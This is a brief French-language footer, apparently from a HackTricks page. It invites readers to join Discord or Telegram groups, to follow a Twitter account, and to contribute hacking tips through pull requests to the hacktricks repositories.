• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PRs au dépôt hacktricks et au dépôt hacktricks-cloud.